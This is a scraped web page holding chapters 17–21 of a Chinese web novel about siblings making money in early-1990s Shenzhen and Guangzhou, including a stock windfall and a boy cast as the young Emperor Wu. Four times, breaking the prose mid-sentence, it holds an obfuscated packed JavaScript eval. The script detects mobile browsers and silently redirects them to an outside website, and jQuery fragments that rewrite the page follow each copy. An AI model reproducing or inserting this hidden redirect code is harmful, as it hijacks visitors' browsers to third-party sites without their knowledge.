;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17810883|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 男人。虽然看着像个个体户,但眼神清亮,倒没有她想象中那种油腻的市侩气。 “王老板你好,我是县电视台的容薇薇。”她开门见山,从公文包里拿出宣传单,“我是来跟你谈广告合作的。” “广告?”王建国看着她,眼神微微凝滞,耳根有些莫名地发烫,但商人本能让他没有立刻失态。 “对。我看王老板经常在点歌台点歌,说明您很有商业眼光。”容薇薇语气得体,带着几分公事公办的清冷,“我们台现在有个黄金时段的广告位,非常适合宣传您的时装店。这是方案和报价。” 王建国接过那几张纸,眼睛看着上面的条款,余光却落在她秀气的指尖上。 他做服装生意,成天往广州跑,什么样的女人没见过?可面前这小姑娘身上的那股子骄傲与清纯交织的气质,却长在了他的审美上(如果他有什么的话)。 他快速扫了一眼方案——每天傍晚新闻后的半分钟广告,连续播放半年,报价一千五百块。 一千五百块,在这个年头不是个小数目。但王建国心算极快:他在点歌台零零碎碎花掉的钱也不少,却不成体系。如果能拿下电视台的黄金时段,不仅能彻底打开名气,而且……还能有正当理由多跟这个小姑娘打交道。 更重要的是,他看出了容薇薇眼神里的急切与逞强——这姑娘急需要这笔业绩。 王建国合上方案,嘴角微微上扬,露出一抹看似憨厚、实则藏着精光的笑容:“容小姐,一千五可不是小数目啊。不过……既然是容小姐亲自跑一趟,这面子我得给。” 容薇薇微微一怔,显然没想到过程会这么顺利。她原本准备了一肚子劝说的词,此时倒有些不知所措:“王老板……这就同意了?” “同意啊,为什么不同意?”王建国笑眯眯地拿出钢笔,在合同上潇洒地签下名字,“不过,我有个条件。” 容薇薇警惕地微微后退了小半步:“什么条件?” 王建国将合同递还给她,眼神明亮,带着几分挑衅般的笑意:“广告效果要是好,我自然没话说。要是效果一般……容小姐是不是得负责到底?比如,每周来我店里看看销售情况什么的?” 容薇薇接过合同,看着上面工整的“王建国”三个字,心中升起一种怪异的感觉。 眼前这男人看似被她一说就动了心、痛快掏了钱,可他那双清亮的眼睛里却没有半点草包的昏庸,反倒透着一股狡猾。 她收起合同,露出一个完美的、却极具距离感的职业微笑:“那是自然。只要王老板加钱,后续的服务我们台一定跟上。” 王建国被她这句话噎了一下,随即哑然失笑。 容薇薇不再多留,微微颔首后,转身优雅地出了店门。红色的裙摆在夏日的微风中划出一道漂亮的弧度。 王建国站在店门口,靠着门框,目送着那道身影消失在街角。他伸手摸了摸自己的心口,嘴角忍不住弯了起来。 “加钱是吧……”他低声自语,眼里闪烁着志在必得的光芒,“行啊,老子有的是钱。” 而此时的容薇薇走在回电视台的路上,看着手里的合同,心里稍微松了一口气。虽然觉得这王老板有些油腔滑调,但好歹解了燃眉之急。 18. 第 18 章 深城郊外那片被反复碾压的泥土地上,停着几辆漆面剥落的老款桑塔纳。远处的盐田在正午烈日下泛着刺眼的白光,围网圈起的鱼塘与未完工的公路桥墩交错在荒凉的视野里。 裴文莹手里紧捏着那张刚到手的驾照,指心泛白,额角挂着一层细密透明的汗珠。 考官那句“合格”犹在耳边,可真正看着眼前的车,她心里依旧有些打鼓——驾校那片空地跑得再顺,到了真实的路况上,她这半吊子技术根本撑不住。 “祝贺小裴同志!” 一声清脆的车喇叭打断了她的思绪。顾飞羽开着一辆半新不旧的灰白色桑塔纳停在路边,车窗摇下,露出他灿烂又沉稳的笑脸。他今日穿了件宽松的薄衬衫,阳光落在他眉眼间,显得少年气十足。 “走吧,师傅带你上路实操。”顾飞羽扬了扬下巴,眼神明亮。 裴文莹系好安全带,侧头看他:“你什么时候学会开车的?” “高三毕业那个暑假,我叔叔带我在大路上遛了一个月。”顾飞羽利落地挂挡、起步,语气随意轻快,“驾校教的都是死东西,真要上路,得找个好陪练。” 车子驶离市区,穿过大片低矮的香蕉林。顾飞羽将车停在了一段尚未通车的宽阔废弃国道上,解开安全带换到了副驾驶:“来,换你。” 刚上手,裴文莹那点“一次通过”的骄傲便荡然无存。 油门踩浅了不走,踩深了狂吼;离合器刚松一半,“咔哒”一声,车子猛地一震,熄火了。连续三次下来,裴文莹气得咬紧牙关,修长的手指紧紧扣着方向盘,掌心全是汗。 “破离合,怎么跟有仇似的……”她小声嘀咕。 顾飞羽在一旁没忍住轻笑出声,伸手搭在她微颤的手腕上。 他的掌心微凉,带着几分夏日午后的清爽,触碰到她肌肤的瞬间,让裴文莹的心跳莫名漏了一拍。 “别跟它硬磕。”顾飞羽的声音低了下来,带着一种温柔与耐性,侧过身包覆住她的手,带她一点点调整方向盘的角度,“手放松,脚下找那个点。离合慢慢抬,听发动机的声音变了,再给油——” 他靠得很近,身上有淡淡的肥皂香气。裴文莹屏住呼吸,照着他教的手法缓缓松脚。 “轰——” 车子平稳地滑了出去,风从两侧半开的车窗灌进来,吹散了满车厢的燥热。 “成了!”裴文莹眼里的阴霾一扫而空,侧过脸冲他笑得肆意而骄傲,“我就说我有天赋吧?” 顾飞羽看着她眼里的光彩,一时竟有些失神。金色的夕阳斜斜照进车里,打在她秀挺的鼻尖和微红的耳垂上,美得让人心尖发颤。 天色渐晚,夜幕笼罩了深城。 返程的路上,车厢里静谧而舒缓。车载收音机里正单曲循环着李克勤的《月半小夜曲》,低沉缠绵的粤语歌声在昏暗的空间里流淌。 路灯一盏盏飞退,将两人的剪影拉长又重叠。 顾飞羽握着方向盘,跟着旋律轻轻哼唱。他的嗓音低沉干净,少了几分平日里的张扬,多了几分夜晚特有的慵懒。 裴文莹靠在车窗旁,夜风吹乱了她的发丝。她悄悄侧过头看他,看着他轮廓分明的侧脸和专注于前方的眼神,心里忽然泛起一丝奇妙的错觉——好像这样的夜晚、这样的旋律、这个人,已经陪了自己很久很久。 “唱得不错嘛。”她轻声打破沉寂。 顾飞羽侧目看了她一眼,嘴角微扬:“那以后我天天开车载你,唱给你听?” “谁要你唱了。”裴文莹下意识反驳,脸颊却微微发烫,赶在气氛变得过于黏糊之前,轻声说了一句:“飞羽,今天……谢谢你。” 顾飞羽没有接话,只是眼底的笑意愈发温柔。 回到顾家,客厅灯火通明。母亲梁教授坐在真皮沙发上,翻看着厚厚的英文文献。 作为高干家庭,顾飞羽的人生早被安排得严丝合缝——顶尖高校的文凭、出国深造的名额、未来进入核心部门的履历,乃至未来能够相辅相成的联姻对象。 “今天又去哪了?”梁教授头也没抬,语气平淡却带着不容置疑的威严。 “帮朋友练了会儿车。”顾飞羽脱下鞋子,试图含糊过去。 “飞羽,”梁教授放下期刊,眼神犀利地落在他身上,“你父亲马上要调任粤省,爷爷对你的期望很高。有些不相干的人和事,不要浪费太多精力。你的未来在外面,在这个体制的顶端,明白吗?” 这番话像一道无形的枷锁,将顾飞羽整个人扣在其中。他紧握着拳头,心里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815683|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 升起一股沉闷的窒息感,却终究只能低头压下所有的反抗。 到了七月中旬,深城的暑热达到了顶峰,同时狂热的还有刚刚萌芽的深城股市。 黑市与交易所里,疯狂的人群将大厅挤得水泄不通。深蓝田的股价一路狂飙到了83元的天价,全城陷入了一种近乎癫狂的暴富幻想中。 就在这股狂潮的最高点,裴文莹用呼机约出了顾飞羽。 交易大厅内人声鼎沸,汗臭味、烟味与歇斯底里的尖叫声混成一片。 “全部卖掉,一股不留。”裴文莹站在柜台前,果断地说。 顾飞羽深深看了她一眼。他虽然不懂股市的周期,但他选择无条件信任裴文莹的判断。他没有丝毫犹豫,同样将自己的股票凭证全部递上了柜台。 几分钟后,交易确认单吐了出来。 去年买入时,深蓝田不过10元,深平安不过1元。而今日交割:深蓝田83.5元,深平安8.8元。 裴文莹净赚22.9万,连本带利25.9万元;顾飞羽本金五万,净赚37.65万,连本带利42.65万元。 在这个普通工人工资不过一两百块的1990年,两人凭着先知与胆识,完成了一场货真价实的一夜暴富。 办完银行转账,两人走出人潮汹涌的交易所,躲进了一家带空调的复古冰室。 玻璃杯里的碎冰与柠檬片碰撞出清脆的响声,冷气驱散了全身的燥热。 裴文莹拿出一本小本子,拿着钢笔仔细核对完数字后,抬起头,露出了这段时间以来最轻松、最灿烂的一个笑容。 “二十多万……”她轻声念着这个数字,眼里闪烁着光芒,“飞羽,我们攒下第一桶金了。” 顾飞羽坐在她对面,看着眼前这个神采奕奕的女孩。二十多万,足够在如今的深城买下几套大房子,可他看得出来,裴文莹的野心远不止于此。 “你想好这笔钱怎么用了吗?”顾飞羽问。 “先租一套离学校近、干净安全的房子。”裴文莹喝了一口冰茶,目光透亮,“然后,想清楚再干。” 顾飞羽看着她昂扬的模样,笑着举起玻璃杯:“好,随时奉陪。” 两只玻璃杯在清冷的空气中轻撞了一下,发出清脆的响声。 19. 第 19 章 放暑假了,县一中宿舍楼里的人早走光了。裴文韬坐在光秃秃的木板床上,慢条斯理地将几件换洗衣物折叠整齐,塞进帆布包里。 同桌刘杰把床单胡乱一卷,打了个死结,拎在手里掂了掂,又懒洋洋地靠到了门框上,抹着额头上的热汗问:“老韬,暑假干嘛去?” 裴文韬走出宿舍,头也不抬地回答:“去深城看我姐。” “去深城?!”刘杰眼睛唰地亮了,“听说那边挨着港城,街上全是几十层高的大楼,还有数不清的好玩东西!带上我呗!” 裴文韬抬头扫了他一眼,语气平静:“你先问过你妈再说。” 刘杰那颗刚昂起来的头瞬间低了下去。他父母都在县城机关任职,家境殷实,平时给的零花钱也多,唯独对他学习盯得死紧,绝不可能放他一个人远行。 “唉——!烦死了!”刘杰对着空气干嚎了一声。 正说着,校门口传来一阵震耳欲聋的发动机轰鸣声。表哥王建国骑着一辆新买的轻骑摩托车,像个骄傲的将军般风风火火地冲了进来。 “小韬,上车!”王建国熄了火,戴着墨镜笑得一脸灿烂,把裴文韬的帆布包往后座上一捆。 裴文韬坐上后座,双手拽紧王建国的衬衫后腰。摩托车像离弦的箭一样驶上了宽阔笔直的新柏油路,将满树噪人的蝉鸣远远甩在了身后。 五十多里地,骑了一个多小时便到了西照市。 大哥裴文龙在西照市开了家复印店,见弟弟和表弟风尘仆仆地跑来,脸上的疲惫一扫而光。他吩咐师弟丁大湖晚些去家里吃饭,便领着两兄弟往菜市场走。 穷人家的孩子早当家。在长兄如父的岁月里,裴文龙早已练就了一手好厨艺。 晚饭格外丰盛,红烧肉的香味飘满了狭小的屋子。吃到一半,裴文韬按捺不住心中的期待,放下碗筷看向大哥:“哥,我想去深城找我姐。” 裴文龙思量片刻转头问王建国:“建国,你最近是不是要出远门?” “对啊,我这礼拜六要去广州进货。”王建国赶忙咽下口中的饭菜,“刚好带着小韬。到了广州,我把他送上去深城的大巴,跟莹姐儿通个电话让他在车站接,万无一失!” 裴文韬小嘴微微撅起,小声嘀咕:“我都十四了,自己能坐车,干嘛非要人带着……” “胡闹!”裴文龙板起脸,拿出长兄的威严,“你自己一个人出远门,我不放心。就这么定了,跟着你表哥走。” 裴文韬低住头,虽然嘴上不服,但也知道大哥决定了的事很难更改,只能闷闷地应了下来。 西照市火车站的候车室里,充斥着汽水味、劣质烟草味以及汗水蒸发的黏腻气息。 裴文韬和表哥上了绿皮火车,车厢里挤得水泄不通。走道里堆满了编织袋和行李箱,连落脚的地方都没有,乘客们摩肩接踵,空气闷热得像个巨大的蒸笼。 裴文韬被拥挤的人群挤在靠窗的位置上,原本就不怎么高涨的心情更加烦躁。 王建国看出了小表弟的不爽,拍了拍他的肩膀,拍着胸脯保证:“文韬,别绷着脸了!等到了广州,白天我去批发市场进货,你就拿着钱去逛街,想买什么买什么!” 说罢,王建国像变戏法似的从裤兜里掏出整整五百块钱,塞到了裴文韬手里,还挑眉挤了挤眼:“拿着,别告诉你哥和你姐,咱们这叫‘瞒上不瞒下’!” “我有钱,我自己攒了快一千呢。”裴文韬推辞。 “那是你的私房钱,这是哥赞助你的!”王建国强硬地把钱推进他口袋,“出门在外,男孩子手面得阔绰点,不能让人小瞧了!” 裴文韬握着口袋里厚厚的一叠钞票,瞬间就开心了。 火车发出沉闷的轰鸣声,缓缓驶离了站台。车窗外的景色开始飞速倒退,广袤的田野与村庄渐渐缩成了一道道墨绿色的线条。 “老韬!老韬!” 混乱的车厢过道里,忽然传来一阵极其熟悉的喊声。 裴文韬猛地回头,只见刘杰背着个硕大的双肩包,像条滑溜的泥鳅一样从人群里挤了过来,笑得像个傻子。 “刘杰?!你怎么跑这儿来了?!”裴文韬瞪大了眼睛。 刘杰一屁股挤在裴文韬分出的半个座位上,擦了擦脸上的热汗,压低声音嘿嘿直笑:“我偷溜出来的!我买了跟你们同趟车的票!” 王建国在一旁听得头皮发麻:“你小子……你有边防证吗?去深城可是要查边防证的!” 刘杰傻眼了:“什么叫边防证?” “没那东西,你连深城特区的关口都进不去。”裴文韬解释道。 刘杰眨了眨眼,很快又恢复了大咧咧的模样,一甩额前的刘海:“没事儿!那我就在广州玩几天,到时候跟着表哥一起回县城!反正我都出来了,我妈还能隔空把我拽回去不成?” 两个少年相视一笑,先前的沉闷瞬间烟消云散,开始热火朝天地讨论起广州的吃喝玩乐。 然而,现实的冷水很快泼了过来。 列车抵达广州站,站台上人潮如涌,广播里的粤语呼叫声与人群的喧嚣混成一片。王建国在前面开路,裴文韬紧随其后,刘杰背着包四处张望。 临出站口时,刘杰突然摸了摸裤兜,脚步猛地一停,脸色瞬间褪得惨白。 “我……我钱包没了!” 王建国和裴文韬猛然回头。 刘杰呆立在人潮中,眼神茫然,手脚发冰:“我的五百块钱……还有回程的火车票……全在里面!” 王建国倒吸一口凉气,赶忙下意识摸了摸自己贴身的货款,确认还在后,才长舒了一口气。他看着吓得快要哭出来的刘杰,无奈地叹了口气,拍拍这小子的肩膀:“行了,别嚎了。跟哥走,到了招待所我先借你二百块,回县城再让你妈还我。” 刘杰如获至救,感动得差点当场抱住王建国的大腿:“谢谢表哥!表哥你就是我亲哥!” 没了钱的焦虑转瞬即逝,少年人心宽,只要身边有朋友,哪怕身无分文也觉得天地宽广。 次日清晨,羊城的空气里弥漫着肠粉与虾饺的鲜香。 王建国一大早就去了高第街服装批发市场,临走前反复叮嘱两个半大孩子联合行动,绝不能走散,遇到急事就打他的呼机。 吃饱喝足的裴文韬和刘杰沿着旧骑楼下的街道漫无目的地溜达。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17819920|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' “老韬,快看!打口带!”刘杰突然停下脚步,眼睛直勾勾地盯着前面一家小铺子门口的塑料筐。 两人飞快地跑了过去,蹲在塑料筐前兴致勃勃地翻检起来。 那是九十年代特有的一种文化奇观——塑料废品名义进口的国外滞销磁带,海关在盒身打孔或锯口以示报废,却被精明的商贩偷偷收集,流向街头巷尾。甲壳虫、平克·弗洛伊德、金属乐队……这些被锯了一角却依然能播放的磁带,成了当时内陆年轻人窥探海外音乐最廉价的窗口。 两个少年都是乐迷,捧着七八盘磁带如获至宝。刘杰凭着三寸不烂之舌熟练地跟老板砍价,最后心满意足地拎着一塑料袋磁带出了门。 没走多远,刘杰又被街角一块褪色的红布招牌吸引了。 招牌上歪歪扭扭地写着:“最新港片,刺激过瘾!”几名穿着喇嘛裤、叼着烟的青年正吊儿郎当靠在录像厅门口。 裴文韬对录像厅向来感兴趣,抬脚就想往里走。 刘杰却突然拽了他一把,警惕地回头看去:“老韬……后面那个人,好像盯了咱们一路了。” 裴文韬顺着他的目光看去。几米开外,一个三十岁出头、身穿艳丽花衬衫、戴着大墨镜的男人正目不转睛地打量着他,眼神热烈得让人发毛。 两人正准备加快步伐避开,那花衬衫男人却快步迎了上来,摘下墨镜,露出一张精明而焦灼的脸:“小帅哥,留步!有没有兴趣……拍电影?” 裴文韬神色冷淡,理都没理,抬脚就要走。 刘杰却来了兴致,凑上去问:“拍电影?演什么?” 花衬衫男人赶忙掏出一张名片递了过去,语气急切:“我姓周,是《汉武大帝》剧组的副导演,我们剧组正在全国寻找演少年汉武帝的演员!我看这小兄弟的气质……简直绝了!要不要来试个镜?” 裴文韬脚步停都没停,只丢下两个字:“没兴趣。” 老周愣住了。在影视圈摸爬滚打这么多年,他见多了哭着喊着想挤进剧组的人,还头一次遇到拒绝得这么干脆利落的小孩。 “小兄弟!这可是千载难逢的机会啊!”老周小跑着跟在旁边,喋喋不休,“成了明星,名利双收,多少人求都求不来!” 裴文韬面无表情:“说了,没兴趣。” 老周急得抓耳挠腮,拦在裴文韬面前,指着他情绪集聚起来:“我们剧组试镜了几百个中学生!导演都不满意!那些孩子……看面相就没有帝王气,要么奶里奶气,要么流里流气!可你不一样——” 老周凑近了几分,目光如炬地盯着裴文韬那张线条清冷的面孔,声音甚至因为激动而微微发颤:“你身上有种天生的孤高与冷峻!这就是少年刘彻该有的模样!” 老周这几天跑遍了广州的大街小巷,跑得嗓子冒烟、脚底起泡,原本只是出来买包烟,谁知一抬头,就在浩瀚人海里撞见了这尊少年天子。 眼前这个十四岁的少年,身姿挺拔如松,站在嘈杂喧闹的南方街头,周身却笼罩着一层与生俱来的疏离与威严,仿佛独立于滚滚红尘之外。 这哪里是寻常中学生?这分明就是那个执掌天下的少年汉武帝! 20. 第 20 章 然而,面对老周这番发肺腑的夸赞,裴文韬却全无波澜,甚至觉得眼前这人像个江湖骗子。 老周见成名打动不了他,眼珠子一转,压低了声音抛出杀手锏:“小帅哥,片酬很高!拍一周,给四千块钱!” “四千?!” 一旁听戏的刘杰倒吸了一口凉气,眼珠子险些瞪出来。 四千块!在这个年头简直是一笔巨款!他爸作为机关里的正科级干部,一个月到手的工资也不过几百块,四千块相当于他爸小一年的收入! 刘杰赶忙一把将裴文韬拉到旁边,急得额头冒汗:“老韬!四千块啊!而且我钱包丢了,咱们现在的钱也撑不了几天……你想想,四千块能干多少事啊!” 裴文韬原本波澜不惊的眼睛,在听到“四千块”这个数字时,微不可察地动了一下。 他的脑海里忽然浮现出刘杰前面桌那个同学的样子——那个被后妈虐待、沉默寡言的少年,因为交不起食宿费,每天不得不饿着肚子徒步跑三十里山路上下学。 如果有了这四千块钱……同学就能住进学校宿舍,能顿顿吃上热饭,再也不用回那个地狱一样的家受罪了。 这笔钱,对他裴文韬来说或许只是意外之财,但对同学来说,是一个希望。 老周是人精,敏锐地捕捉到了裴文韬眼神中的松动,立刻乘胜追击:“小帅哥,只要你答应试镜,你这位朋友也可以一起进组!我给他安排个小角色,也按天发工资!” 刘杰眼睛唰地亮了,摇着裴文韬的胳膊疯狂劝说:“老韬!老韬!接吧!试试又不吃亏!” 裴文韬沉默良久,终于微微点了点头:“好。” “太好了!”老周喜出望外,连忙掏出笔写下招待所的地址,又递过名片,“明天一早,我开车去接你们!” 广州郊外的一处临时片场里,热浪滚滚。 巨大的灯炙烤着搭出来的宫殿布景,工作人员来回奔波,拿着道具和场记板穿梭其间。 香港导演正靠在椅子上,深深吸了一口气,将手中的剧本重重扔在茶几上。他眼眶里布满血丝,疲惫与烦躁几乎要从眉宇间溢出来。 “又不行!这个眼神软趴趴的,哪有一点汉武帝的王霸之气?!”导演冲着场中央刚试完镜的小演员大发雷霆。 这几天为了寻找“少年刘彻”,整个剧组几乎把华南一带能找的中学生翻了个遍。来试镜的孩子不少,可大多眼神漂浮,演不出那种王霸之气。 正烦闷间,老周一屁股冲进棚里,脸上的汗都顾不上擦,扯着嗓子喊:“导演!找到了!我找着真命天子了!” 导演连头都没抬,揉着太阳穴冷笑:“老周,你这几天天天跟我说找到了,结果领来的不是呆头鹅就是小混混。我丑话说在前头,再耽误进度,投资方那边可要骂娘了。” 老周急得一拍大腿,凑上前压低声音:“这次绝对不一样!我老周要是看走眼了,脑袋拧下来给你当球踢!那小子不用演,光往那儿一站,就是天生的帝王相!” 导演终于抬起头,半信半疑地盯着老周:“真有那么神?” 老周得意地扬了扬下巴:“明天一早我带他来定妆。是不是璞玉,你眼亮,一眼就能瞧明白!” 次日清晨,一辆破旧的灰色面包车停在了片场门口。 当裴文韬跟着老周走下面包车时,原本嘈杂的片场竟诡异地安静了几秒。 十四岁的少年穿着一件洗得发白的条纹T恤、黑色短裤,脚踩一双寻常凉鞋,清瘦挺拔得像一株立在乱石之中的青松。 阳光穿透棚顶的缝隙,打在他的脸上。少年眉如长江冷剑,双眸深邃如井,鼻梁高挺,薄唇紧抿,浑身散发着一种超越年龄的沉静与疏离。他的目光淡淡扫过周围喧闹的人群,没有丝毫寻常孩子的怯懦与好奇,只有一片冰凉的淡漠。 道具组停下了手中的活计,几名正吃着早饭的化妆师呆呆地握着馒头,连远处正指挥搭景的场务都下意识放低了声音。 导演从椅子上猛地站了起来,手中的剧本“啪嗒”一声掉在地上。他死死盯着眼前的少年,呼吸陡然急促。 “快!带他去化妆间!换黑袍!戴玉冠!”导演的声音甚至带着几分颤抖。 化妆间里,资深的服装师和化妆师围着裴文韬忙活。 当毛刷蘸着粉底靠近时,化妆师的手指竟有些微微发抖。她仔细打量着裴文韬的五官,忍不住低声感叹:“这孩子的骨相太绝了……根本不用修容,天生就是镜头偏爱的脸。” 半小时后,化妆间的挂帘被缓缓拉开。 一袭玄色大袖宽袍,暗金色的龙纹在灯光下若隐若现,发丝被骨簪高高束起。 裴文韬缓步走出。 那一刻,炽热的灯光打在他身上,将他周身的清冷衬托得近乎威严。他静静伫立在片场中央,身姿笔直,冷冽的眼神居高临下地掠过众人,仿佛真是那个从两千年前的风云激荡中走出来的少年大帝。 片场静得能听见机器的电流声。 导演绕着裴文韬缓缓走了一圈,眼神里的震撼演变成了狂喜。他猛地一拍老周的肩膀,力道大得老周龇牙咧嘴。 “拍!立刻开拍!”导演大声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17823231|210502||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 吼道。 片场里的运转像一台精密的机器,而裴文韬与刘杰,在这个机器里过上了截然不同的日子。 裴文韬被奉为全剧组的“掌上明珠”。尽管他从未学过表演,情感表达偶尔显得生硬,但他那张脸和浑然天成的冷傲气质,完美弥补了技巧的匮乏。 停机休息时,助理赶着给他递风扇和冰汽水,老周更是嘘寒问暖,生怕这位小祖宗摔着碰着。 而作为添头进组的刘杰,则展现出了惊人的生存智慧。 刘杰被安排演一个连台词都没有的小太监,每天穿着厚重的公公服,在镜头边缘充当背景板。可这小子天生是个自来熟,嘴甜如蜜,进了剧组一口一个“老师”、“哥”、“姐”,见活就抢着干。 一打响指,他去帮道具组搬沉重的木箱;片刻停歇,他又颠颠地给灯光师递水拿烟。 “这小子真会来事儿!”场记和副导演们对刘杰喜欢得不行。 老周更是大手一挥,直接把刘杰的片酬从群演的十块钱一天,涨到了五十块钱一天,甚至还破例给他加了半句台词和一个正脸镜头。 丢了钱包的刘杰捧着到手的现钞,乐得鼻涕泡都快冒出来了。虽然和裴文韬四千块的天价没法比,但这可是他凭自己本事赚来的“血汗钱”。 第四天,风平浪静的日子被打破了。 王建国在广州的进货任务圆满完成。回旗山县前,他专门买了大巴车票,准备将裴文韬送上去深城的途上,顺便把刘杰打包带回县城。 刘杰演戏正演得上了瘾,老周答应明天再给他加个台词,打死他也不肯走。 “表哥!我真不能走!”刘杰眼珠子一转,开始睁着眼说瞎话,“我已经给我妈打电话了,我妈说她今晚就坐火车来广州接我,顺便在广州逛街!她让我在这儿等她,我要是走了,她到了非抽死我不可!” 谎言编得有模有样,加上王建国惦记着县城时装店的生意,心里焦躁,便信以为真。 王建国拉着裴文韬上了大巴,又给深城的裴文莹留了呼机信息,叮嘱好车站接人,这才放心地踏上了回县城的长途车。 然而,王建国前脚刚走,大巴车还没驶出车站,裴文韬便拎着帆布包从后门一溜烟滑下了车。 退票、出站、上车——动作一气呵成。 车站外,刘杰和老周早就开着那辆破面包车在路边等着了。 “得逞了?!”刘杰兴奋地一拍大腿。 裴文韬坐进后座,将帆布包往怀里一抱,长舒了一口气,清冷的脸上难得露出一丝狡黠的笑意:“嗯,回片场。” 21. 第 21 章 下午的戏份,是少年刘彻在窗前研读竹简。 这本是一场文戏,可裴文韬毕竟没有经过专业训练,前面的几场情感戏里,他越是刻意想要表达“愤怒”或“沉思”,表情就越显得僵硬死板。 导演坐在监视器前,眉头皱成了个“川”字。他看得出来,这孩子骨子里骄傲得很,越逼他,他越紧绷。 “停一下。”导演招招手,把裴文韬叫到了窗前。 窗外阳光正好,透过木质的窗棂斑驳地撒在案几上。 导演没有像往常那样讲戏,而是从道具师手里接过一卷用古汉语抄写的竹简,随手递给裴文韬,语气轻松得像是在闲聊:“文韬啊,别紧张。这竹简上刻着一个古代的灯谜,挺有意思的。你不用管镜头,就站这儿看看,能不能把这谜底猜出来。” 裴文韬愣了愣,接过了重沉沉的竹简。 他展开竹简,目光落在那些生涩古朴的篆字上。少年原本游离的注意力,瞬间被古文字吸引了过去。 导演悄悄对摄影师打了个手势——开机。 镜头缓缓推进,无声地对准了窗前的少年。 阳光打在裴文韬的侧脸,勾勒出他高挺的鼻梁与分明的下颌线。他完全沉浸在了竹简的谜题里,双眸微微眯起,眼神时而凝重,时而闪烁着锐利的光芒。他的眉心因为思考而轻蹙,随后又在解开谜题的瞬间舒展开来,嘴角泛起一抹微不可察的弧度。 那不是表演,那是一个年轻的君王在案前批阅奏折时的真实神采。 整个片场鸦雀无声。 道具组的人看呆了,场记连手里的笔掉了都浑然不觉。 监视器后的导演屏住呼吸,眼里迸发出难以抑制的精光。这才是他要的汉武帝!没有矫揉造作的表演痕迹,只有沉浸其中的天然故事感! “Cut!”直到镜头拍完,导演才轻喊了一声。 裴文韬回过神来,有些茫然地抬起头:“拍完了?” “拍完了!太棒了!”导演忍不住带头发起了掌声,走上前重重拍了拍他的肩膀,“文韬,你简直就是为镜头而生的!” 刘杰在一旁捧着水壶,小声嘀咕:“这家伙,演个戏跟开挂似的……” 导演看着裴文韬走向休息区的背影,对身旁的老周感慨万千:“这孩子是个绝好的苗子,只要稍加雕琢,将来前途不可限量啊。” 老周得意地笑了笑:“那是,也不看是谁挖出来的。” 然而老周很快就笑不出来了——因为远在深城和旗山县的两个地方,此时已经因为这两个失踪的熊孩子,掀起了一场天翻地覆的风暴。 傍晚的深城长途汽车站。 裴文莹在大巴车停靠区急切地踱着步。她的目光在每一个下车的乘客脸上扫过,十分焦灼。 最后一辆从广州开来的大巴车熄了火,乘客们提着大包小包陆陆续续走光。司机拉上手刹,准备关门锁车。 可人群里根本没有裴文韬。 裴文莹的心猛地沉到了底,她一把冲上去揪住司机:“师傅!车上还有个十几岁的小男孩吗?瘦瘦高高的,背着蓝帆布包!” 司机被吓了一跳,摆摆手:“没了没了,全下完了!” 裴文莹脸色发白,一路小跑冲进售票大厅,声音都在发颤:“同志,刚才那趟车,有个叫裴文韬的孩子买票了吗?” 售票员翻了翻表格,冷冰冰地说:“没这个人。” 那一瞬间,裴文莹只觉得脑子里“轰”的一声,手脚冰凉。 在这个动荡混乱的九十年代初,火车站、汽车站周边充斥着拐卖、黑工、地下非法劳工的传闻。十四岁的弟弟独自流落广州,连票都没买…… 就在她濒临绝望之际,腰间的寻呼机突然尖锐地震动起来。 裴文莹抖着手按下按键,屏幕上显示出一串留言代码。她几乎是撞开公用电话亭的人群,颤抖着拨通了寻呼台。 接线员甜美的声音传来:“裴女士,有人给您留言:‘姐,我去打工挣钱了,拿到钱就去找你,别急。’留下的联系电话是……” 打工?!裴文莹咬牙切齿地拨通了那个号码。电话响了两声便被接起:“喂,剧组。” “你们到底是什么人?!”裴文莹积压的怒火瞬时爆发,声音利如尖刀,“我弟弟才十四岁!你们这是非法雇佣童工!拐卖未成年人!我现在就报警,让警察去抓你们!” 